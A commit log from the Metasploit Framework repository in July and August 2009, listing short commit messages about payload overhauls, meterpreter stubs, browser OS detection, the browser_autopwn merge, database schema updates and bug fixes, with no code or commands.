HD Moore 4bcf42ae3c Apply a patch from Brett Blackham for loading plugins from the user's .msf3 directory as well as the system one 
git-svn-id: file:///home/svn/framework3/trunk@6933 4d416f70-5f16-0410-b530-b9f4589650da
 2009-08-01 14:07:05 +00:00
HD Moore 13a19c4e31 make this bso not fso 
git-svn-id: file:///home/svn/framework3/trunk@6932 4d416f70-5f16-0410-b530-b9f4589650da
 2009-08-01 04:16:13 +00:00
HD Moore 8cb6cee2d1 Map class methods to instance 
git-svn-id: file:///home/svn/framework3/trunk@6931 4d416f70-5f16-0410-b530-b9f4589650da
 2009-08-01 04:12:19 +00:00
HD Moore 02443b3721 One more cleanup, everything loads cleanly now 
git-svn-id: file:///home/svn/framework3/trunk@6930 4d416f70-5f16-0410-b530-b9f4589650da
 2009-08-01 04:08:25 +00:00
HD Moore b70dad9186 Merge the new stubs for meterpreter on other platforms 
git-svn-id: file:///home/svn/framework3/trunk@6928 4d416f70-5f16-0410-b530-b9f4589650da
 2009-08-01 03:50:40 +00:00
HD Moore b47226797d Updating the whitespace to match the rest of the modules 
git-svn-id: file:///home/svn/framework3/trunk@6925 4d416f70-5f16-0410-b530-b9f4589650da
 2009-07-31 18:02:14 +00:00
HD Moore 49b7dcb30c Overhaul of the metasploit payloads from Stephen Fewer - smaller/cleaner/new hashing/support for WinNT 4.0 -> Win7 with size reductions for the stagers and minimal size increases for the singles 
git-svn-id: file:///home/svn/framework3/trunk@6922 4d416f70-5f16-0410-b530-b9f4589650da
 2009-07-31 17:50:10 +00:00
James Lee 89eb1c5cc9 differentiate between firefox and safari and use some more standards-friendly string idioms 
git-svn-id: file:///home/svn/framework3/trunk@6910 4d416f70-5f16-0410-b530-b9f4589650da
 2009-07-28 03:55:47 +00:00
James Lee 8e32779329 remove redundant code 
git-svn-id: file:///home/svn/framework3/trunk@6909 4d416f70-5f16-0410-b530-b9f4589650da
 2009-07-28 00:02:25 +00:00
James Lee ce4e63e209 more reliable os detection on firefox 
git-svn-id: file:///home/svn/framework3/trunk@6908 4d416f70-5f16-0410-b530-b9f4589650da
 2009-07-27 17:54:55 +00:00
James Lee 1b84ca5282 make the error easier to track down when module loading fails 
git-svn-id: file:///home/svn/framework3/trunk@6906 4d416f70-5f16-0410-b530-b9f4589650da
 2009-07-27 03:40:45 +00:00
HD Moore 12e1b4fdb3 Add raw to the l5 requires 
git-svn-id: file:///home/svn/framework3/trunk@6901 4d416f70-5f16-0410-b530-b9f4589650da
 2009-07-26 05:02:30 +00:00
HD Moore 6ab7bee149 Add payload_data to TCP to only return the tcp payload and not the options 
git-svn-id: file:///home/svn/framework3/trunk@6898 4d416f70-5f16-0410-b530-b9f4589650da
 2009-07-25 14:11:13 +00:00
kris 00b4c62bf1 fix ftpserver SIZE crash 
git-svn-id: file:///home/svn/framework3/trunk@6897 4d416f70-5f16-0410-b530-b9f4589650da
 2009-07-25 06:24:01 +00:00
HD Moore c146ee3e0f Fix an unpack('S') -- this is host-order specific and should be 'v' 
git-svn-id: file:///home/svn/framework3/trunk@6895 4d416f70-5f16-0410-b530-b9f4589650da
 2009-07-25 03:47:30 +00:00
HD Moore 2902a47d6d Remove busted unicode from the javascript os detect, this caused errors on 1.9.1 
git-svn-id: file:///home/svn/framework3/trunk@6894 4d416f70-5f16-0410-b530-b9f4589650da
 2009-07-25 03:46:08 +00:00
HD Moore 55ae0e10d8 Make a stink about missing openssl support in the console driver 
git-svn-id: file:///home/svn/framework3/trunk@6887 4d416f70-5f16-0410-b530-b9f4589650da
 2009-07-23 13:28:47 +00:00
James Lee 98d0b62942 make report_user_agent return something useful and fix a bug using the wrong column name 
git-svn-id: file:///home/svn/framework3/trunk@6880 4d416f70-5f16-0410-b530-b9f4589650da
 2009-07-23 06:18:34 +00:00
James Lee fde468135e slightly more informative comment 
git-svn-id: file:///home/svn/framework3/trunk@6878 4d416f70-5f16-0410-b530-b9f4589650da
 2009-07-23 03:06:44 +00:00
HD Moore 122ba9f3e5 Add the missing browser_autopwn mixin 
git-svn-id: file:///home/svn/framework3/trunk@6874 4d416f70-5f16-0410-b530-b9f4589650da
 2009-07-22 23:40:22 +00:00
James Lee 739207bf4a merge browser_autopwn back into trunk. This changes the database schema slightly, so make sure to db_destroy and db_create before using the database features. 
git-svn-id: file:///home/svn/framework3/trunk@6873 4d416f70-5f16-0410-b530-b9f4589650da
 2009-07-22 20:14:35 +00:00
HD Moore 756b1ab020 Add the OpenSSL require to meterpreter 
git-svn-id: file:///home/svn/framework3/trunk@6869 4d416f70-5f16-0410-b530-b9f4589650da
 2009-07-22 18:37:51 +00:00
HD Moore 765b778d5f Minor compat change, more consistent with 1.9.1 syntax 
git-svn-id: file:///home/svn/framework3/trunk@6868 4d416f70-5f16-0410-b530-b9f4589650da
 2009-07-22 13:38:23 +00:00
HD Moore f116f65b96 Update the DB objects to match the new schema 
git-svn-id: file:///home/svn/framework3/trunk@6867 4d416f70-5f16-0410-b530-b9f4589650da
 2009-07-22 13:37:14 +00:00
HD Moore 238f8d798f Let vulns refer to hosts w/o a service, add a mac and address6 field to the hosts table. 
git-svn-id: file:///home/svn/framework3/trunk@6866 4d416f70-5f16-0410-b530-b9f4589650da
 2009-07-22 13:25:33 +00:00